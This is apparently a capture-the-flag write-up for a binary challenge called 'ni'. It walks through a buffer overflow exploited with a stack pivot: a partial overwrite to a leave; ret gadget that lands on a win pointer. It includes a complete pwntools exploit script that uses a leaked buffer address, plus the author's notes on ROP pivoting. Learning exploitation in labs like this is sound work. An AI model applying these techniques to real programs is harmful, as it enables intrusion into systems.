Since we have a buffer overflow, we can attempt to control RIP to try to stack pivot to our controlled buffer (input_buffer) where we can potentially place our ROP chain. Let's first look for a stack pivoting gadget by filtering for anything that deals with rsp.
Knowing that we can simply "pivot" to the win pointer, we can come up with the following exploit chain.
Exploit Flow
Partial Overwrite last byte to go to our leave; ret gadget
Set RBP to an offset of leak-0x10 to account for POP RBP in leave; ret of the challenge function prologue
Execute leave; ret again via gadget so that we pivot to our win pointer and win
#!/usr/bin/env python3
from pwn import *
exe = ELF("./ni")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def conn():
while True:
try:
r = process([exe.path], aslr=True)
gdb.attach(r)
offset = 48
r.recvuntil(b'[LEAK] Your input buffer is located at: ')
leak = r.recvline()[:-2]
leak = int(leak, 16)
r.clean()
print(f"Input Buffer Leak : {hex(leak)}")
payload = b'A' * 40
payload += p64(leak-0x10)
payload += b'\x10\x00'
r.send(payload)
r.recvuntil(b'Leaving!')
result = r.recvline()
if b'hehehaha' in result:
print(result)
break
except Exception as e:
continue
def main():
r = conn()
r.interactive()
if __name__ == "__main__":
main()
What I learned
RSP is adjusted each time a pop/push instruction is executed
for pop gadgets, the values don't have to be user-controlled/valid, stack always have garbage values - as long the pop gadgets are not used for a syscall etc
Think about what registers i have control of and how do i manipulate it to point to where i want (rsp -/+ offset so that i can align my pop gadgets properly and retn to the right ptr?)
Dont be fixed in terms of looking for certain gadgets (e.g lea rsp, [rbp - 0x18]; pop rbx; pop r12; pop r13; pop rbp; ret; - can be used for pivoting too)